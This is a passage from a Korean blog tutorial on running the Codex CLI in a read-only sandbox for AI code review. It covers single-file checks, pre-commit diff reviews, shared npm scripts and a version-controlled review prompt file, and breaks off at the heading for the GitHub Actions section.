&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1950&quot; data-origin-height=&quot;1342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7J9i2/dJMcajhSj2s/7wjxoKdNIsf9P9Tk2kEsUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7J9i2/dJMcajhSj2s/7wjxoKdNIsf9P9Tk2kEsUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7J9i2/dJMcajhSj2s/7wjxoKdNIsf9P9Tk2kEsUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7J9i2%2FdJMcajhSj2s%2F7wjxoKdNIsf9P9Tk2kEsUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1950&quot; height=&quot;1342&quot; data-origin-width=&quot;1950&quot; data-origin-height=&quot;1342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;결과가 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;summary.md&lt;/code&gt; 파일로 저장된다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--sandbox read-only&lt;/code&gt;는 Codex가 파일을 읽기만 하고 수정하지 않도록 막아준다. 처음엔 항상 이 플래그를 붙인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1-2. 특정 파일 집중 검토하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로 작성한 파일이나 수정이 많았던 파일을 빠르게 검토하고 싶을 때다. 파일 경로를 프롬프트에 직접 넣으면 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0fff4; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #27ae60; margin: 18px 0;&quot;&gt;&lt;b&gt;복붙하고 파일명만 바꿔서 실행&lt;/b&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-size: 13px; margin: 12px 0 0; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;codex exec --sandbox read-only \
  &quot;src/components/features/auth/Auth.tsx 파일을 검토해줘. 보안 문제나 빠진 예외 처리가 있으면 줄 번호와 함께 알려줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 12px 16px; margin: 14px 0; border-radius: 4px;&quot;&gt;&lt;b&gt;실행하면 이런 결과가 나온다&lt;/b&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 12px 14px; border-radius: 6px; font-size: 13px; margin: 10px 0 0; overflow-x: auto; white-space: pre-wrap;&quot;&gt;&lt;code&gt;## 검토 결과: src/auth/login.ts

보안 문제
- 34번째 줄: password를 평문으로 로그에 출력 중 (console.log 제거 필요)
- 52번째 줄: 로그인 실패 횟수 제한 없음, brute-force 공격에 취약

빠진 예외 처리
- 67번째 줄: DB 연결 실패 시 500 에러가 그대로 클라이언트로 전달됨
- 89번째 줄: JWT 만료 토큰 처리 없음&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 실제로 수정해야하는 이슈들이 도출되었아. (실제 결과는 생략)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1812&quot; data-origin-height=&quot;312&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EAd5z/dJMcaa6mmLQ/OccxUtot3QcSkx1ejnphP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EAd5z/dJMcaa6mmLQ/OccxUtot3QcSkx1ejnphP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EAd5z/dJMcaa6mmLQ/OccxUtot3QcSkx1ejnphP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEAd5z%2FdJMcaa6mmLQ%2FOccxUtot3QcSkx1ejnphP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1812&quot; height=&quot;312&quot; data-origin-width=&quot;1812&quot; data-origin-height=&quot;312&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1-3. 커밋 전 30초 안전 체크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 수정하고 커밋하기 직전, &quot;혹시 놓친 게 있나?&quot; 싶을 때 쓴다. 변경 내용을 파일로 저장해서 Codex에게 넘기는 패턴이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0fff4; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #27ae60; margin: 18px 0;&quot;&gt;&lt;b&gt;복붙하고 바로 실행 (git add 하기 전에 실행)&lt;/b&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-size: 13px; margin: 12px 0 0; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. 변경 내용을 파일로 저장
git diff &amp;gt; /tmp/my-changes.txt

# 2. Codex에게 검토 요청
codex exec --sandbox read-only \
  &quot;/tmp/my-changes.txt 파일을 보고, 버그나 빠진 부분이 있으면 알려줘. 없으면 '이상 없음'이라고 해줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 결과 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1924&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brwbLg/dJMcahqSN8a/OMomb85T3adxIG9LEefJrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brwbLg/dJMcahqSN8a/OMomb85T3adxIG9LEefJrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brwbLg/dJMcahqSN8a/OMomb85T3adxIG9LEefJrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrwbLg%2FdJMcahqSN8a%2FOMomb85T3adxIG9LEefJrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1924&quot; height=&quot;456&quot; data-origin-width=&quot;1924&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #e8f4f8; padding: 14px 18px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 14px 0;&quot;&gt;&lt;b&gt;왜 파일로 저장하고 넘기나?&lt;/b&gt;
&lt;p style=&quot;margin: 8px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex는 지시한 파일을 직접 읽는다. git diff 출력이 길어도 파일로 넘기면 안정적으로 처리된다. 터미널 명령 중간에 직접 붙여 넣으면 내용이 잘리거나 파싱에 실패할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3e0; border-left: 4px solid #ff9800; padding: 12px 16px; margin: 20px 0; border-radius: 4px;&quot;&gt;&lt;b&gt;레벨 1 핵심 정리&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--sandbox read-only&lt;/code&gt;를 항상 붙인다 &amp;mdash; 파일을 수정하지 않으므로 실수할 걱정 없다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&amp;gt; 파일명.md&lt;/code&gt;로 결과를 저장한다 &amp;mdash; 나중에 다시 보거나 팀에 공유할 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;프롬프트에 &lt;b&gt;파일 경로&lt;/b&gt;와 &lt;b&gt;원하는 출력 형식&lt;/b&gt;을 명시할수록 결과가 구체적이다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;level2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 40px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #0066cc; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;레벨 2 &amp;mdash; 팀 저장소에 등록하기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레벨 1 명령어가 익숙해지면, 팀원 누구나 같은 명령을 쓸 수 있도록 저장소에 등록한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡한 설정 없이 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;package.json&lt;/code&gt; 스크립트로 충분하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-1. npm script로 팀 공유하기&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2124&quot; data-origin-height=&quot;1158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkQtK5/dJMcah5uoNr/qkp4ROnQIj5IyEBFF1zkRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkQtK5/dJMcah5uoNr/qkp4ROnQIj5IyEBFF1zkRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkQtK5/dJMcah5uoNr/qkp4ROnQIj5IyEBFF1zkRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkQtK5%2FdJMcah5uoNr%2Fqkp4ROnQIj5IyEBFF1zkRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2124&quot; height=&quot;1158&quot; data-origin-width=&quot;2124&quot; data-origin-height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;package.json&lt;/code&gt;의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;scripts&lt;/code&gt;에 등록하면 팀원 모두 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;npm run codex:check&lt;/code&gt;으로 같은 검토를 실행할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0fff4; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #27ae60; margin: 18px 0;&quot;&gt;&lt;b&gt;package.json에 추가하기&lt;/b&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-size: 13px; margin: 12px 0 0; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;{
  &quot;scripts&quot;: {
    &quot;codex:check&quot;: &quot;mkdir -p reports &amp;amp;&amp;amp; codex exec --sandbox read-only 'src/ 폴더에서 타입 오류나 버그 가능성이 있는 부분을 파일 경로와 함께 알려줘' &amp;gt; reports/check.md &amp;amp;&amp;amp; echo '완료: reports/check.md를 확인하세요'&quot;,
    &quot;codex:review-diff&quot;: &quot;git diff &amp;gt; /tmp/pr-diff.txt &amp;amp;&amp;amp; codex exec --sandbox read-only '/tmp/pr-diff.txt 파일을 보고 문제가 있으면 알려줘' &amp;gt; reports/diff-review.md&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 상기 스크립트 추가&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;214&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4PDHD/dJMcagZK30N/JAeTAgmZ2bNzzIlUGgtEOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4PDHD/dJMcagZK30N/JAeTAgmZ2bNzzIlUGgtEOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4PDHD/dJMcagZK30N/JAeTAgmZ2bNzzIlUGgtEOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4PDHD%2FdJMcagZK30N%2FJAeTAgmZ2bNzzIlUGgtEOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1960&quot; height=&quot;214&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;214&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 추가한 스크립트 실행 및 결과 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2328&quot; data-origin-height=&quot;1562&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kHLAL/dJMcac38g9X/MI9Mp0KgjKW7KSBSmTCit0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kHLAL/dJMcac38g9X/MI9Mp0KgjKW7KSBSmTCit0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kHLAL/dJMcac38g9X/MI9Mp0KgjKW7KSBSmTCit0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkHLAL%2FdJMcac38g9X%2FMI9Mp0KgjKW7KSBSmTCit0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2328&quot; height=&quot;1562&quot; data-origin-width=&quot;2328&quot; data-origin-height=&quot;1562&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀원은 이제 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;npm run codex:check&lt;/code&gt; 또는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;npm run codex:review-diff&lt;/code&gt;만 치면 된다. 긴 명령어를 외울 필요가 없다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 14px 18px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 14px 0;&quot;&gt;&lt;b&gt;reports/ 폴더 처리 팁&lt;/b&gt;
&lt;p style=&quot;margin: 8px 0 4px;&quot; data-ke-size=&quot;size16&quot;&gt;결과 파일이 저장되는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;reports/&lt;/code&gt; 폴더를 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.gitignore&lt;/code&gt;에 추가하면 검토 결과가 커밋에 포함되지 않는다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px 14px; border-radius: 6px; font-size: 12px; margin: 6px 0 0; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# .gitignore에 추가
reports/&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-2. 프롬프트를 파일로 관리하기&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2134&quot; data-origin-height=&quot;1138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pmGhd/dJMcahEmyuB/zG1ZAPWJuSvxmLfGMNiL6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pmGhd/dJMcahEmyuB/zG1ZAPWJuSvxmLfGMNiL6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pmGhd/dJMcahEmyuB/zG1ZAPWJuSvxmLfGMNiL6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpmGhd%2FdJMcahEmyuB%2FzG1ZAPWJuSvxmLfGMNiL6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2134&quot; height=&quot;1138&quot; data-origin-width=&quot;2134&quot; data-origin-height=&quot;1138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;검토 기준이 길어지거나, 팀 내 리뷰 관점을 통일하고 싶다면 프롬프트를 파일로 분리한다. 파일로 관리하면 리뷰 기준 변경도 PR로 리뷰할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.github/codex-prompts/review.md&lt;/code&gt; 파일을 만들고:&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;이 코드를 리뷰해줘. 아래 관점으로만 확인하고, 코드는 수정하지 말아줘.

확인할 것:
- 버그나 논리 오류
- 빠진 예외 처리
- 보안 취약점 (SQL injection, XSS, 노출된 시크릿 등)
- 테스트가 필요한데 없는 함수

결과 형식:
각 문제를 &quot;파일경로:줄번호 &amp;mdash; 문제 설명&quot; 형식으로 나열해줘.
문제가 없으면 &quot;이상 없음&quot;이라고만 해줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 나의 경우는 AI에게 생성 요청하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 내 nextjs 프로젝트 기준, 프로젝트 폴더 기준에 맞게 변경하여 등록 해 보았다.&lt;/p&gt;
&lt;pre id=&quot;code_1778601390748&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;이 저장소의 코드를 리뷰해줘. 코드는 수정하지 말고, 아래 관점으로만 확인해줘.

리뷰 대상:
- 현재 git diff가 있으면 변경된 파일과 그 영향 범위를 우선 확인한다.
- diff가 없으면 `src/app`, `src/components`, `src/services`, `src/hooks`, `src/utils`, `src/constants`, `tests`를 중심으로 확인한다.
- 명확한 근거가 있는 문제만 보고하고, 단순 취향이나 스타일 취향은 제외한다.

프로젝트 전제:
- Next.js 16 App Router, React 19, TypeScript strict mode, Tailwind CSS 4 기반이다.
- 라우팅, 공개 경로, SEO metadata, AdSense 배치, API 프록시(`/api`, `/crawl`)가 사용자 영향도가 큰 영역이다.

확인할 것:
- 버그나 논리 오류: 라우팅 상수와 실제 페이지 경로 불일치, query param 처리 오류, 조건 분기 누락, 상태 갱신 순서 문제, 잘못된 memo/dependency 사용.
- Next.js App Router 경계: Server Component에서 브라우저 API 사용, Client Component에 필요한 `'use client'` 누락, `useSearchParams` 등 Suspense가 필요한 훅 사용 방식, hydration mismatch 가능성.
- 예외 처리 누락: API 호출 실패, 비정상 응답, 빈 데이터, 파일/파서 입력 오류, 환경 변수 누락, 외부 서비스 지연 또는 실패.
- 보안 취약점: XSS(`dangerouslySetInnerHTML`, markdown/html 변환, diff 렌더링), open redirect, 노출된 시크릿, 토큰/localStorage 취급, 인증 우회, 프록시/CORS 오용.
- SEO와 공유 메타데이터: title/description, canonical, OpenGraph, Twitter card, sitemap/robots 영향, 페이지 목적과 맞지 않는 metadata.
- AdSense와 성능: 정책 위반을 유도하는 문구나 보상형 UI, 광고/이미지 영역 예약 누락으로 인한 CLS, `next/image` 크기 지정 누락, LCP를 악화시키는 font/image 사용.
- 테스트 갭: 복잡한 분기, route guard, API 에러 상태, parser/formatter, hook, 주요 사용자 플로우에 필요한 Vitest 또는 Playwright 테스트 누락.

결과 형식:
- 각 문제를 `파일경로:줄번호 &amp;mdash; 문제 설명` 형식으로 나열한다.
- 문제 설명에는 왜 실제 위험인지와 필요한 테스트가 있으면 함께 적는다.
- 문제가 없으면 `이상 없음`이라고만 쓴다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;package.json&lt;/code&gt; 스크립트에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--prompt-file&lt;/code&gt;로 참조한다:&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-size: 13px; margin: 12px 0; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;{
  &quot;scripts&quot;: {
    &quot;codex:review&quot;: &quot;codex exec --sandbox read-only --prompt-file .github/codex-prompts/review.md &amp;gt; reports/review.md&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;ex) pnpm codex:review&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;1314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YRifl/dJMcahqSOxB/j8MmMlWAkMbIvXamHCJCDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YRifl/dJMcahqSOxB/j8MmMlWAkMbIvXamHCJCDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YRifl/dJMcahqSOxB/j8MmMlWAkMbIvXamHCJCDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYRifl%2FdJMcahqSOxB%2Fj8MmMlWAkMbIvXamHCJCDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2120&quot; height=&quot;1314&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;1314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 결과 (review.md 파일은 생략)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1862&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3y1me/dJMcafT8chM/hOugrsRXGkKmcQ7D76umt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3y1me/dJMcafT8chM/hOugrsRXGkKmcQ7D76umt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3y1me/dJMcafT8chM/hOugrsRXGkKmcQ7D76umt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3y1me%2FdJMcafT8chM%2FhOugrsRXGkKmcQ7D76umt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1862&quot; height=&quot;418&quot; data-origin-width=&quot;1862&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff3e0; border-left: 4px solid #ff9800; padding: 12px 16px; margin: 20px 0; border-radius: 4px;&quot;&gt;&lt;b&gt;레벨 2 핵심 정리&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;npm script로 등록하면 팀 전체가 같은 기준으로 검토할 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;프롬프트를 파일로 분리하면 리뷰 기준도 버전 관리가 된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;결과 파일은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.gitignore&lt;/code&gt;에 추가해서 커밋에서 제외한다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;level3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 40px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #9b59b6; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;레벨 3 &amp;mdash; GitHub Actions에 붙이기&lt;/b&gt;&lt;/h2&gt;
